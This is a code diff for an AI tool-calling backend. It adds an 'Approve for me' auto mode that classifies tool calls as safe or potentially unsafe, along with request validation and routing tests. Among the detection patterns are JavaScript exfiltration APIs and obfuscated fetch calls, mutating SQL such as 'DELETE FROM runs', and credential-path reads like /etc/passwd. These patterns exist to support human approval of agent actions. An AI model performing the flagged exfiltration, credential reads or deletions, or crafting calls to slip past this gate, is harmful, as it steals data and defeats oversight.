+def _mcp_arguments_mutate(arguments) -> bool:
+ """True if an MCP call's arguments carry a mutating command, so a read-named
+ but write-capable tool (query_database {"query": "DELETE FROM runs"},
+ query_graphql {"query": "mutation { deleteIssue(id: 1) }"}, or an HTTP tool
+ {"method": "DELETE"}) asks."""
+
+ def walk(value) -> bool:
+ if isinstance(value, str):
+ _sql = _SQL_COMMENT_RE.sub(" ", value)
+ return (
+ bool(_MCP_ARG_MUTATION_RE.search(_sql))
+ or bool(_MCP_ARG_SQLITE_MUTATION_RE.search(_sql))
+ or bool(_MCP_ARG_SQL_FUNCTION_RE.search(_sql))
+ or bool(_GRAPHQL_MUTATION_RE.search(_GRAPHQL_COMMENT_RE.sub(" ", value)))
+ )
+ if isinstance(value, dict):
+ for k, v in value.items():
+ if (
+ isinstance(k, str)
+ and k.lower() in _HTTP_METHOD_KEYS
+ and isinstance(v, str)
+ and v.strip().upper() in _MUTATING_HTTP_METHODS
+ ):
+ return True
+ return any(walk(v) for v in value.values())
+ if isinstance(value, (list, tuple)):
+ return any(walk(v) for v in value)
+ return False
+
+ return walk(arguments)
+
+
+# Tools that are read-only / non state-mutating regardless of their arguments,
+# so auto mode never has to pause them (their safety needs no argument scan).
+# render_html is NOT unconditionally safe: it runs arbitrary HTML/JS in the
+# canvas preview frame. A static canvas (charts, layout, inline SVG) never
+# reaches the network, but code that calls out can exfiltrate or fetch under the
+# preview's CSP when artifact network access is enabled, so those ask; a canvas
+# with no network construct still auto-runs. Matches JS egress APIs, a remote or
+# root-relative <script src>/src=/href=/srcset, a CSS url()/@import that loads a
+# resource, and ws(s) URLs. A leading "/" covers both //host (protocol-relative)
+# and /path (root-relative, which the CSP resolves against the frame origin); a
+# "./x" or bare relative ref and a url(#id)/data: ref are not matched, so an
+# inline-SVG canvas (whose w3.org namespace lives in xmlns=) stays safe.
+_RENDER_HTML_NETWORK_RE = re.compile(
+ r"\bfetch\s*\(|"
+ r"XMLHttpRequest|"
+ r"\bWebSocket\b|"
+ r"\bEventSource\b|"
+ r"\bsendBeacon\b|"
+ r"\bimportScripts\b|"
+ r"navigator\s*\.\s*serviceWorker|"
+ # new Worker(...) / new SharedWorker(...) run a script off the main thread
+ # that this static scan cannot see: a module worker from a CORS-enabled CDN
+ # executes remote code, and a blob/same-origin worker can fetch/importScripts
+ # to egress, all reachable under worker-src http: https: blob:. Gate the
+ # constructor like importScripts/serviceWorker; a var merely named myWorker
+ # (no "new") stays static.
+ r"\bnew\s+(?:Shared)?Worker\s*\(|"
+ r"@import|"
+ r"url\(\s*[\"']?\s*(?:https?:|/)|"
+ r"<script[^>]*\bsrc\s*=|"
+ r"\b(?:src|href|srcset)\s*=\s*[\"']?\s*(?:https?:|/)|"
+ # Self-navigation sinks: location.assign/replace(...), window.open(...), and
+ # assigning a URL to (window.)location(.href). location.reload()/history.back
+ # do not navigate to a new URL, so they stay static.
+ r"\blocation\s*\.\s*(?:assign|replace)\s*\(|"
+ r"\bwindow\s*\.\s*open\s*\(|"
+ r"\b(?:window\s*\.\s*)?location(?:\s*\.\s*href)?\s*=\s*[\"'`]?\s*(?:https?:|/)|"
+ # Bracket-access obfuscation: window['fetch'](...), self["open"](...).
+ r"\[\s*[\"'](?:fetch|open|XMLHttpRequest|WebSocket|EventSource|importScripts|"
+ r"sendBeacon|serviceWorker)[\"']\s*\]|"
+ # Computed bracket key spliced at runtime on a global host object
+ # (window['fet'+'ch'](...)): a quoted fragment adjacent to a + inside the
+ # index. Anchored to a host object so a plain obj['a'+'b'] key stays safe.
+ r"\b(?:window|self|globalThis|top|parent|frames)\s*\[[^\]]*"
+ r"(?:[\"']\s*\+|\+\s*[\"'])[^\]]*\]|"
+ # Declarative meta-refresh navigation to a URL (order-tolerant); a bare
+ # content="30" self-reload has no url= and stays static.
+ r"<meta\b(?=[^>]*http-equiv\s*=\s*[\"']?\s*refresh)(?=[^>]*\burl\s*=)|"
+ r"\bwss?://",
+ re.IGNORECASE,
+)
+# Block comments can split an egress token (fetch/*x*/(...)); strip them before
+# matching. Line // comments are left alone -- stripping them would eat the // in
+# an https:// URL and hide a real load.
+_JS_BLOCK_COMMENT_RE = re.compile(r"/\*.*?\*/", re.DOTALL)
+
+
+def _render_html_reaches_network(arguments: dict) -> bool:
+ code = arguments.get("code")
+ if not isinstance(code, str):
+ return False
+ return bool(_RENDER_HTML_NETWORK_RE.search(_JS_BLOCK_COMMENT_RE.sub("", code)))
+
+
+# Tools that are read-only regardless of their arguments, so auto mode never has
+# to pause them and their safety needs no argument scan. render_html is handled
+# separately above because a networked canvas does need approval.
+_ALWAYS_SAFE_TOOLS = frozenset({"web_search", "search_knowledge_base"})
+
+
+def is_always_safe_tool(name: str) -> bool:
+ """True for tools that never need an auto-mode prompt on any arguments, so a
+ caller (e.g. the streaming provisional card) can allow them before the full
+ arguments are known. render_html is intentionally excluded: a networked
+ canvas needs approval, which cannot be judged before its arguments stream."""
+ return name in _ALWAYS_SAFE_TOOLS
+
+
+def is_potentially_unsafe_tool_call(name: str, arguments: dict) -> bool:
+ """Whether a tool call must still pause for approval in auto mode.
+
+ Used by permission_mode="auto" ("Approve for me"): read-only calls
+ auto-run, anything that can mutate state, execute arbitrary code, or is
+ simply unrecognized asks first. Unknown tools fail closed.
+ """
+ if name in _ALWAYS_SAFE_TOOLS:
+ return False
+ # render_html auto-runs a static canvas but asks once its HTML/JS reaches the
+ # network (fetch/WebSocket/remote script), which can egress under the canvas
+ # CSP when artifact network access is enabled.
+ if name == "render_html":
+ return _render_html_reaches_network(arguments)
+ if name.startswith(MCP_TOOL_PREFIX):
+ tool_name = name.split("__", 2)[-1]
+ # A mutating verb anywhere (get_or_create_issue, read_and_delete)
+ # overrides a read-only prefix.
+ if _AUTO_UNSAFE_MCP_VERB_RE.search(tool_name):
+ return True
+ # A credential noun (read_secret, list_tokens, get_credentials) makes a
+ # read-named tool a sensitive disclosure, so it asks too.
+ if _AUTO_SENSITIVE_MCP_NOUN_RE.search(tool_name):
+ return True
+ # A read-named fs tool pointed at a credential path is still a
+ # sensitive read (mcp__fs__read_file {"path": "/etc/passwd"}).
+ if _mcp_arguments_reference_sensitive(arguments):
+ return True
+ # A read-named tool carrying a mutating query (query_database
+ # {"query": "DELETE FROM runs"}) still mutates external state.
+ if _mcp_arguments_mutate(arguments):
+ return True
+ return not _AUTO_SAFE_MCP_TOOL_RE.match(tool_name)
+ if name == "terminal":
+ return _terminal_is_potentially_unsafe(str(arguments.get("command", "")))
+ if name == "python":
+ return _python_is_potentially_unsafe(str(arguments.get("code", "")))
+ return True
+
+
def _build_safe_env(workdir: str) -> dict[str, str]:
"""Build a minimal, credential-free environment for sandboxed subprocesses.
diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py
index 2bdc00dce12..3ae974448e0 100644
--- a/studio/backend/models/inference.py
+++ b/studio/backend/models/inference.py
@@ -695,6 +695,23 @@ class ThinkingConfig(BaseModel):
type: Literal["disabled", "enabled"] = "disabled"
+# Recognized permission_mode values. The field accepts a plain string rather than
+# a Literal so an unrecognized value from a newer UI/client degrades to the
+# safest gate ("ask") instead of a 422; the tool loops apply the same unknown ->
+# ask fallback, so normalizing here keeps that forward-compat path reachable at
+# the API boundary. None stays unset ("behaves as 'ask'" without self-enabling
+# the confirm gate).
+_KNOWN_PERMISSION_MODES = ("ask", "auto", "off", "full")
+
+
+def _normalize_permission_mode(value: Any) -> Any:
+ if value is None:
+ return None
+ if value not in _KNOWN_PERMISSION_MODES:
+ return "ask"
+ return value
+
+
class ChatCompletionRequest(BaseModel):
"""OpenAI-compatible chat completion request.
@@ -840,6 +857,19 @@ class ChatCompletionRequest(BaseModel):
False,
description = "[x-unsloth] Bypass Permissions: when true, skip the tool-call confirmation gate AND disable the python/terminal execution sandbox (safety checks, command blocklist, resource limits). Secret env vars are still stripped. Takes precedence over confirm_tool_calls.",
)
+ permission_mode: Optional[str] = Field(
+ None,
+ description = (
+ "[x-unsloth] Permission level for local tool calls. 'ask' pauses every "
+ "call for approval; 'ask'/'auto' enable the confirmation gate on their "
+ "own (needs a streaming request to deliver prompts). 'auto' ('Approve for "
+ "me') only pauses calls detected as potentially unsafe (state-mutating "
+ "terminal/python/MCP calls); read-only calls run immediately, and the "
+ "sandbox stays on. 'full' is equivalent to bypass_permissions=true (no "
+ "confirmation, no sandbox). Unset behaves as 'ask'. An unrecognized value "
+ "(e.g. from a newer client) is treated as 'ask'."
+ ),
+ )
auto_heal_tool_calls: Optional[bool] = Field(
True,
description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output.",
@@ -1103,6 +1133,52 @@ class ChatCompletionRequest(BaseModel):
self.enable_thinking = self.thinking.type == "enabled"
return self
+ @field_validator("permission_mode", mode = "before")
+ @classmethod
+ def _coerce_permission_mode(cls, value: Any) -> Any:
+ # Accept any string so an unknown mode degrades to 'ask' instead of a
+ # 422; mirrors the tool loops' unknown -> ask fallback.
+ return _normalize_permission_mode(value)
+
+ @model_validator(mode = "after")
+ def _fold_full_permission_into_bypass(self) -> "ChatCompletionRequest":
+ """permission_mode='full' is the documented equivalent of
+ bypass_permissions=true, so fold it in before any route guard reads
+ the flag (else a full request would trip the confirm-gate rejections)."""
+ if self.permission_mode == "full":
+ self.bypass_permissions = True
+ elif self.bypass_permissions:
+ # Legacy bypass callers map onto Full access (mirrors the tool loop).
+ self.permission_mode = "full"
+ elif self.permission_mode == "off":
+ # "Off" never prompts, so route guards must see confirm disabled.
+ self.confirm_tool_calls = False
+ elif (
+ self.permission_mode == "ask"
+ and self.confirm_tool_calls is None
+ and not (self.provider_id or self.provider_type)
+ and (self.enable_tools is True or bool(self.mcp_enabled))
+ ):
+ # "Ask" gates every call, so a direct API caller that omits the legacy
+ # confirm flag must still hit the confirmation gate for Studio's own
+ # tool loop. An explicit confirm_tool_calls=False wins over the mode
+ # (mirrors _permission_mode_confirm and the Anthropic pre-switch guard),
+ # so only self-enable when the flag is unset. Only self-enable when that
+ # loop is actually requested
+ # (enable_tools / mcp_enabled) -- the router enters the loop on those
+ # signals, not on enabled_tools alone (which merely filters which tools
+ # run). A plain client-tool passthrough (client-supplied `tools` that
+ # Studio does not execute) must route verbatim, and external-provider
+ # routing rejects confirm_tool_calls with tools, so skip the fold there.
+ #
+ # "auto" is deliberately NOT folded: it only prompts for a call the
+ # classifier flags, so leaving confirm_tool_calls unset lets the route's
+ # _confirm_gate_needs_stream apply the safe-only exception (a safe-only
+ # auto selection needs no stream) instead of an explicit-confirm forcing
+ # stream=true. The mode still drives the loop's per-call gate.
+ self.confirm_tool_calls = True
+ return self
+
class ToolConfirmRequest(BaseModel):
session_id: Optional[str] = None
@@ -1758,6 +1834,10 @@ class AnthropicMessagesRequest(BaseModel):
False,
description = "[x-unsloth] Bypass Permissions: when true, disable the python/terminal execution sandbox (safety checks, command blocklist, resource limits) for server-side tool calls. Secret env vars are still stripped. Declared explicitly (not relied on via extra='allow') so omitted requests default to False instead of raising AttributeError.",
)
+ permission_mode: Optional[str] = Field(
+ None,
+ description = "[x-unsloth] Permission level for local tool calls: 'ask' pauses every call, 'auto' only pauses calls detected as potentially unsafe, 'off' never pauses (sandbox stays on), 'full' equals bypass_permissions=true. Unset behaves as 'ask'; an unrecognized value (e.g. from a newer client) is treated as 'ask'. Declared explicitly so omitted requests default to None instead of raising AttributeError.",
+ )
auto_heal_tool_calls: Optional[bool] = Field(
True,
description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output (mirrors the Chat Completions field; applies to the client-tool passthrough).",
@@ -1799,6 +1879,27 @@ class AnthropicMessagesRequest(BaseModel):
normalized["system"] = _merge_anthropic_system(normalized.get("system"), system_additions)
return normalized
+ @field_validator("permission_mode", mode = "before")
+ @classmethod
+ def _coerce_permission_mode(cls, value: Any) -> Any:
+ # Accept any string so an unknown mode degrades to 'ask' instead of a
+ # 422; mirrors the tool loops' unknown -> ask fallback.
+ return _normalize_permission_mode(value)
+
+ @model_validator(mode = "after")
+ def _fold_full_permission_into_bypass(self) -> "AnthropicMessagesRequest":
+ """permission_mode='full' equals bypass_permissions=true (mirrors the
+ Chat Completions request)."""
+ if self.permission_mode == "full":
+ self.bypass_permissions = True
+ elif self.bypass_permissions:
+ # Legacy bypass callers map onto Full access (mirrors the tool loop).
+ self.permission_mode = "full"
+ elif self.permission_mode == "off":
+ # "Off" never prompts, so route guards must see confirm disabled.
+ self.confirm_tool_calls = False
+ return self
+
# ── Response models ────────────────────────────────────────────
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 073cd644005..d78bdc58ca1 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -2064,6 +2064,59 @@ def _explicit_studio_tool_loop_requested(payload) -> bool:
return policy is not False and (payload.enable_tools is True or bool(payload.mcp_enabled))
+def _permission_mode_confirm(payload) -> bool:
+ """Effective confirm-gate intent for Studio's own local tool loop.
+
+ Honors the documented default that an unset permission_mode behaves as
+ "ask". An explicit confirm_tool_calls (True or False) wins; explicit
+ ask/auto always engage the gate (a non-streaming one is then rejected, since
+ it cannot prompt); off/full never prompt. An unset mode defaults to ask, but
+ that is only realizable on a streaming request, so a non-streaming unset
+ request keeps the legacy run-without-gate behavior instead of 400ing. Used
+ at the pre-switch guard and the per-backend tool paths so a forced tool loop
+ (CLI --enable-tools) with the default mode still gates streaming requests.
+ """
+ if payload.confirm_tool_calls is not None:
+ return bool(payload.confirm_tool_calls)
+ mode = getattr(payload, "permission_mode", None)
+ if mode in ("ask", "auto"):
+ return True
+ if mode in ("off", "full"):
+ return False
+ return bool(getattr(payload, "stream", False))
+
+
+def _confirm_gate_needs_stream(payload) -> bool:
+ """Whether Studio's local tool-loop confirm gate still requires stream=true.
+
+ The gate can only prompt while streaming, so a non-streaming request that will
+ prompt must 400 up front. auto ("Approve for me") only prompts for a call the
+ classifier flags, so an auto request whose confirm is derived from the mode
+ (not an explicit confirm_tool_calls=true) and whose selectable tools are all
+ always-safe (web_search / RAG) never prompts and needs no stream. ask,
+ an explicit confirm flag, MCP tools, and an unrestricted or unsafe selection
+ still require streaming.
+ """
+ if not _permission_mode_confirm(payload):
+ return False
+ if getattr(payload, "permission_mode", None) != "auto":
+ return True
+ if payload.confirm_tool_calls is True:
+ return True
+ if getattr(payload, "mcp_enabled", False):
+ return True
+ enabled = getattr(payload, "enabled_tools", None)
+ if enabled is None:
+ return True # omitted enabled_tools resolves to ALL tools (incl. terminal/python)
+ if not enabled:
+ # An explicit empty selection runs no built-in tool (_select_request_tools
+ # skips the loop), so there is nothing to prompt and no stream is needed.
+ return False
+ from core.inference.tools import is_always_safe_tool
+
+ return not all(is_always_safe_tool(t) for t in enabled)
+
+
# Cancel registry. Proxies (e.g. Colab) can swallow client fetch aborts so
# is_disconnected() never fires. POST /inference/cancel looks up in-flight
# cancel_events here by cancel_id (per-run) or session_id / completion_id
@@ -6611,25 +6664,52 @@ async def openai_chat_completions(
)
# Reject confirm-without-stream local tool requests before the switch: the
# local tool path requires stream=true for the confirm gate, so this shape
- # is invalid and must not evict the resident model first. Mirror that path's
- # enablement exactly (_effective_enable_tools honors a CLI --enable-tools
- # policy hard-override; mcp_enabled opens the tool loop on its own but still
- # defers to a CLI --disable-tools policy), or an mcp_enabled/policy-forced
- # request would slip past this guard and only 400 after the swap.
- from state.tool_policy import get_tool_policy as _get_confirm_tool_policy
-
- _confirm_cli_policy = _get_confirm_tool_policy()
+ # is invalid and must not evict the resident model first.
+ #
+ # Enter the local-loop arm exactly when the passthrough router below would
+ # run Studio's own tool loop. That gate is `_tools_on or _mcp_allowed`
+ # (see the use_tools block): _effective_enable_tools (which lets a
+ # process-wide --enable-tools policy force the loop on) plus mcp_enabled
+ # honoring --disable-tools, and tool_choice="none" disabling it unless the
+ # request explicitly asked. enabled_tools never enters loop entry (it only
+ # filters which tools run), so it is not a signal here.
+ #
+ # But a policy-forced loop must not steal client-tool passthrough: when the
+ # request did not explicitly ask for the loop (enable_tools/mcp) and carries
+ # client tools, the router forwards to the provider branch, so only treat it
+ # as the local loop when the request explicitly asked OR there is no client
+ # passthrough to defer to.
+ from state.tool_policy import get_tool_policy as _get_tool_policy_pre
+
+ _cli_policy_pre = _get_tool_policy_pre()
+ _use_tools_intent = _effective_enable_tools(payload) or (
+ bool(payload.mcp_enabled) and _cli_policy_pre is not False
+ )
+ if payload.tool_choice == "none" and not _explicit_studio_tool_loop_requested(payload):
+ _use_tools_intent = False
+ _client_tool_passthrough = (
+ bool(payload.tools)
+ or bool(payload.openai_code_exec_container_id)
+ or bool(payload.anthropic_code_exec_container_id)
+ # A JSON-schema response_format is guided-decoding structured output the
+ # router forwards to the llama-server passthrough, not Studio's tool
+ # loop, so a --enable-tools policy must not 400 it as a local-confirm
+ # request under ask/auto.
+ or bool(_extract_response_format(payload))
+ )
+ # permission_mode only implies the confirm gate for that local loop.
+ # Client-tool passthrough forwards to the provider branch and the validator
+ # intentionally leaves confirm_tool_calls unset there, so only an explicit
+ # confirm_tool_calls=True should force the local-confirm rejection for it.
+ _studio_local_tool_loop = bool(_use_tools_intent) and (
+ _explicit_studio_tool_loop_requested(payload) or not _client_tool_passthrough
+ )
if (
- payload.confirm_tool_calls
- and not payload.bypass_permissions
+ not payload.bypass_permissions
and not payload.stream
and (
- _effective_enable_tools(payload)
- or (bool(payload.mcp_enabled) and _confirm_cli_policy is not False)
- or bool(payload.enabled_tools)
- or bool(payload.tools)
- or bool(payload.openai_code_exec_container_id)
- or bool(payload.anthropic_code_exec_container_id)
+ (_confirm_gate_needs_stream(payload) and _studio_local_tool_loop)
+ or (payload.confirm_tool_calls is True and _client_tool_passthrough)
)
):
raise HTTPException(
@@ -7144,9 +7224,23 @@ async def openai_chat_completions(
use_tools = False
if use_tools:
+ # permission_mode ask/auto require the confirm gate for Studio's own
+ # tool loop. The request validator self-enables confirm only for
+ # request-level tool signals (enable_tools/enabled_tools/mcp_enabled);
+ # when a CLI policy (--enable-tools) forces the loop on without those,
+ # derive confirm here so the mode still gates the call (and a
+ # non-stream ask/auto request is rejected below rather than running
+ # unprompted). off/full never prompt, so they are excluded.
+ _effective_confirm = _permission_mode_confirm(payload)
# Bypass Permissions suppresses confirm, so the stream requirement
- # (the gate needs streaming to prompt) no longer applies.
- if payload.confirm_tool_calls and not payload.bypass_permissions and not payload.stream:
+ # (the gate needs streaming to prompt) no longer applies. auto with an
+ # always-safe-only selection never prompts, so it needs no stream even
+ # though _effective_confirm stays true for the loop's per-call gate.
+ if (
+ _confirm_gate_needs_stream(payload)
+ and not payload.bypass_permissions
+ and not payload.stream
+ ):
raise _reject(
400,
openai_error_body(
@@ -7223,9 +7317,9 @@ async def openai_chat_completions(
disable_parallel_tool_use = payload.parallel_tool_calls is False,
# Bypass Permissions takes precedence over the confirm gate:
# never prompt while bypassing.
- confirm_tool_calls = bool(payload.confirm_tool_calls)
- and not bool(payload.bypass_permissions),
+ confirm_tool_calls = _effective_confirm and not bool(payload.bypass_permissions),
bypass_permissions = bool(payload.bypass_permissions),
+ permission_mode = payload.permission_mode,
)
_tool_admission_mode = "chat_tool_stream" if payload.stream else "chat_tool_nonstream"
@@ -8439,9 +8533,20 @@ async def openai_chat_completions(
_sf_use_tools = False
if _sf_use_tools:
+ # permission_mode ask/auto require the confirm gate for Studio's own tool
+ # loop; when a CLI policy (--enable-tools) forces the loop on without a
+ # request-level tool signal, derive confirm here so the mode still gates
+ # the call (matching the GGUF path). off/full never prompt.
+ _sf_effective_confirm = _permission_mode_confirm(payload)
# Bypass Permissions suppresses confirm, so the stream requirement
- # (the gate needs streaming to prompt) no longer applies.
- if payload.confirm_tool_calls and not payload.bypass_permissions and not payload.stream:
+ # (the gate needs streaming to prompt) no longer applies. auto with an
+ # always-safe-only selection never prompts, so it needs no stream even
+ # though _sf_effective_confirm stays true for the loop's per-call gate.
+ if (
+ _confirm_gate_needs_stream(payload)
+ and not payload.bypass_permissions
+ and not payload.stream
+ ):
raise _reject(
400,
openai_error_body(
@@ -8519,9 +8624,9 @@ async def openai_chat_completions(
rag_scope = payload.rag_scope,
# Bypass Permissions takes precedence over the confirm gate:
# never prompt while bypassing.
- confirm_tool_calls = bool(payload.confirm_tool_calls)
- and not bool(payload.bypass_permissions),
+ confirm_tool_calls = _sf_effective_confirm and not bool(payload.bypass_permissions),
bypass_permissions = bool(payload.bypass_permissions),
+ permission_mode = payload.permission_mode,
use_adapter = payload.use_adapter,
stats_holder = _sf_stats_holder,
)
@@ -11537,6 +11642,13 @@ _STUDIO_ANTHROPIC_TOOL_ALIASES = {
"python": "python",
"terminal": "terminal",
}
+# Server tools that never need a confirmation prompt (read-only / non code-
+# executing; mirrors the unconditional-safe names in is_potentially_unsafe_tool_call).
+# Any other selected tool (terminal, python, render_html) can require the gate
+# this channel has no way to present, so an omitted permission_mode ("ask") only
+# asks then. render_html is excluded because a networked canvas prompts in auto,
+# and this channel invokes the loop without confirm; auto/ask reject, off/full run.
+_ANTHROPIC_UNPROMPTED_SAFE_TOOLS = frozenset({"web_search", "search_knowledge_base"})
def _anthropic_requested_studio_tools(tools: Optional[list]) -> set[str]:
@@ -11797,6 +11909,53 @@ async def anthropic_messages(
),
)
+ # Reject an unsupported confirm-gated permission mode for Studio's own
+ # ("server") Anthropic tools before the switch, mirroring the malformed- and
+ # mixed-tool checks above. ask always wants a per-call pause this passthrough
+ # cannot offer, so it 400s whenever server tools are selected. auto only needs
+ # the gate for an unsafe call, so (like the omitted default) it runs for a
+ # safe-only selection (web_search/RAG) and 400s when a gate-needing tool is
+ # selected (local terminal/python, or render_html whose networked canvas
+ # prompts and cannot be gated on this channel). Rejecting must happen before the
+ # switch so an invalid request never evicts the resident model; it is
+ # determined from the requested tools alone (backend tool support is only known
+ # post-switch); an image request can never take the server-tool path, so it is
+ # excluded as in the server_tools gate below. off/full and an explicit
+ # confirm_tool_calls=False opt-out always pass.
+ _enable_pre = _effective_enable_tools(payload)
+ _server_tools_requested_pre = (
+ _enable_pre or (_enable_pre is None and bool(requested_studio_tools))
+ ) and not _anthropic_request_has_image(payload)
+ if _server_tools_requested_pre:
+ from core.inference.tools import ALL_TOOLS as _ALL_TOOLS_PRE
+
+ _selected_pre = _select_anthropic_server_tools(
+ _ALL_TOOLS_PRE, requested_studio_tools, payload.enabled_tools
+ )
+ _perm_mode_pre = getattr(payload, "permission_mode", None)
+ _confirm_opt_out_pre = getattr(payload, "confirm_tool_calls", None) is False
+ _gated_tool_selected_pre = any(
+ tool["function"]["name"] not in _ANTHROPIC_UNPROMPTED_SAFE_TOOLS
+ for tool in _selected_pre
+ )
+ # An explicit confirm_tool_calls=False opts out of the gate entirely (it
+ # wins over the mode, mirroring _permission_mode_confirm and the GGUF path),
+ # so it never rejects -- not even under ask.
+ if not _confirm_opt_out_pre and (
+ _perm_mode_pre == "ask"
+ or (_perm_mode_pre in ("auto", None) and _gated_tool_selected_pre)
+ ):
+ raise HTTPException(
+ status_code = 400,
+ detail = anthropic_error_body(
+ "permission_mode 'ask' has no confirmation channel for Anthropic "
+ "Messages server tools, and 'auto' (or the omitted default) cannot "
+ "gate a local 'terminal'/'python' tool here; set 'off' or 'full'.",
+ status = 400,
+ err_type = "invalid_request_error",
+ ),
+ )
+
# require_vision rejects a swap to a text-only target before it runs, so an
# image request can't evict the resident vision model only to hit the vision
# guard (_normalize_anthropic_openai_images) below after the load.
@@ -11996,6 +12155,10 @@ async def anthropic_messages(
)
from core.inference.tools import ALL_TOOLS
+ # ask/auto (and an omitted mode selecting a gate-needing terminal/python
+ # tool) were already rejected before the auto-switch above, so an invalid
+ # confirm-gated request never evicts the resident model; the selection
+ # here just picks the tools for the actual server-tool loop.
openai_tools = _select_anthropic_server_tools(
ALL_TOOLS,
requested_studio_tools,
@@ -12051,6 +12214,7 @@ async def anthropic_messages(
rag_scope = getattr(payload, "rag_scope", None),
disable_parallel_tool_use = _disable_parallel,
bypass_permissions = bool(payload.bypass_permissions),
+ permission_mode = getattr(payload, "permission_mode", None),
)
if payload.stream:
diff --git a/studio/backend/tests/test_anthropic_messages.py b/studio/backend/tests/test_anthropic_messages.py
index 54454f6563a..10cbc64ad35 100644
--- a/studio/backend/tests/test_anthropic_messages.py
+++ b/studio/backend/tests/test_anthropic_messages.py
@@ -1739,7 +1739,9 @@ class TestAnthropicMessagesToolRouting:
assert backend.calls[0][0] == "plain"
def test_server_tool_alias_enters_tool_path_when_policy_unset(self, monkeypatch):
- # Mirror of the previous test for the default (None) policy.
+ # Mirror of the previous test for the default (None) policy. An omitted
+ # permission_mode still runs here because web_search is a safe server tool
+ # (only a selected terminal/python would require the missing gate).
backend = _mock_backend(monkeypatch)
payload = _basic_payload(
tools = [{"type": "web_search_20250305", "name": "web_search"}],
@@ -1761,6 +1763,126 @@ class TestAnthropicMessagesToolRouting:
assert "confirm_tool_calls is not supported" in exc.value.detail["error"]["message"]
assert backend.calls == []
+ def test_permission_mode_gating_for_server_tools(self, monkeypatch):
+ # ask is a request for a per-call pause this channel cannot honor, so it is
+ # always rejected, even for a safe-only server tool (web_search).
+ safe_tools = [{"type": "web_search_20250305", "name": "web_search"}]
+ backend = _mock_backend(monkeypatch)
+ payload = _basic_payload(tools = safe_tools, permission_mode = "ask")
+ with pytest.raises(HTTPException) as exc:
+ _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+ assert exc.value.status_code == 400
+ assert "no confirmation channel" in exc.value.detail["error"]["message"]
+ assert backend.calls == []
+
+ # auto only gates unsafe calls, so a safe-only selection runs (nothing to
+ # gate), like the omitted default. Both keep existing callers working.
+ for extra in ({"permission_mode": "auto"}, {}):
+ backend = _mock_backend(monkeypatch)
+ payload = _basic_payload(tools = safe_tools, **extra)
+ _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+ assert backend.calls[0][0] == "tools"
+
+ # But auto or an omitted mode that would run a local tool (terminal/python,
+ # via a bare Anthropic tool type or enabled_tools) is rejected, since that
+ # tool could need the gate this channel lacks.
+ for local_payload in (
+ _basic_payload(tools = [{"type": "terminal", "name": "terminal"}]),
+ _basic_payload(
+ tools = [{"type": "terminal", "name": "terminal"}], permission_mode = "auto"
+ ),
+ _basic_payload(tools = safe_tools, enable_tools = True, enabled_tools = ["python"]),
+ ):
+ backend = _mock_backend(monkeypatch)
+ with pytest.raises(HTTPException) as exc:
+ _drive(anthropic_messages(local_payload, request = None, current_subject = "t"))
+ assert exc.value.status_code == 400
+ assert "terminal" in exc.value.detail["error"]["message"]
+ assert backend.calls == []
+
+ # off, full, and a legacy confirm_tool_calls=False opt-out all run, even
+ # with a local tool selected. The explicit opt-out wins over the mode
+ # (mirrors _permission_mode_confirm and the GGUF path), so it runs even
+ # under ask, which otherwise always rejects.
+ for extra in (
+ {"tools": safe_tools, "permission_mode": "off"},
+ {"tools": safe_tools, "permission_mode": "full"},
+ {"tools": safe_tools, "enabled_tools": ["python"], "confirm_tool_calls": False},
+ {"tools": safe_tools, "permission_mode": "ask", "confirm_tool_calls": False},
+ {
+ "tools": [{"type": "terminal", "name": "terminal"}],
+ "permission_mode": "ask",
+ "confirm_tool_calls": False,
+ },
+ ):
+ backend = _mock_backend(monkeypatch)
+ payload = _basic_payload(**extra)
+ _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+ assert backend.calls[0][0] == "tools"
+
+ def test_render_html_gated_for_server_tools(self, monkeypatch):
+ # render_html is no longer unconditionally safe: a networked canvas prompts
+ # in auto and this channel cannot present that gate, so selecting it under
+ # ask/auto/omitted rejects like terminal/python; off/full (and an explicit
+ # confirm opt-out) run it.
+ rh = {"enable_tools": True, "enabled_tools": ["render_html"]}
+ for mode in ("ask", "auto", None):
+ backend = _mock_backend(monkeypatch)
+ fields = dict(rh)
+ if mode is not None:
+ fields["permission_mode"] = mode
+ payload = _basic_payload(**fields)
+ with pytest.raises(HTTPException) as exc:
+ _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+ assert exc.value.status_code == 400
+ assert "no confirmation channel" in exc.value.detail["error"]["message"]
+ assert backend.calls == []
+ for extra in (
+ {"permission_mode": "off"},
+ {"permission_mode": "full"},
+ {"confirm_tool_calls": False},
+ ):
+ backend = _mock_backend(monkeypatch)
+ payload = _basic_payload(**{**rh, **extra})
+ _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+ assert backend.calls[0][0] == "tools"
+
+ def test_permission_mode_rejected_before_auto_switch(self, monkeypatch):
+ # The unsupported-mode rejection must run before _maybe_auto_switch_model,
+ # so an invalid confirm-gated request never evicts the resident model
+ # (mirrors the pre-switch malformed- and mixed-tool guards).
+ import routes.inference as inf_mod
+
+ switch_calls = []
+
+ async def _rec_switch(*_args, **_kwargs):
+ switch_calls.append(1)
+
+ monkeypatch.setattr(inf_mod, "_maybe_auto_switch_model", _rec_switch)
+ safe_tools = [{"type": "web_search_20250305", "name": "web_search"}]
+ local_tools = [{"type": "terminal", "name": "terminal"}]
+
+ # ask (any server tool), auto with a local tool, and an omitted mode
+ # selecting a local tool are all rejected up front, before the switch runs.
+ for payload in (
+ _basic_payload(tools = safe_tools, permission_mode = "ask"),
+ _basic_payload(tools = local_tools, permission_mode = "auto"),
+ _basic_payload(tools = local_tools),
+ ):
+ switch_calls.clear()
+ _mock_backend(monkeypatch)
+ with pytest.raises(HTTPException) as exc:
+ _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+ assert exc.value.status_code == 400
+ assert switch_calls == [], "rejection must precede the auto-switch"
+
+ # A supported request (off) still reaches the switch and runs the loop.
+ switch_calls.clear()
+ _mock_backend(monkeypatch)
+ payload = _basic_payload(tools = safe_tools, permission_mode = "off")
+ _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+ assert switch_calls == [1]
+
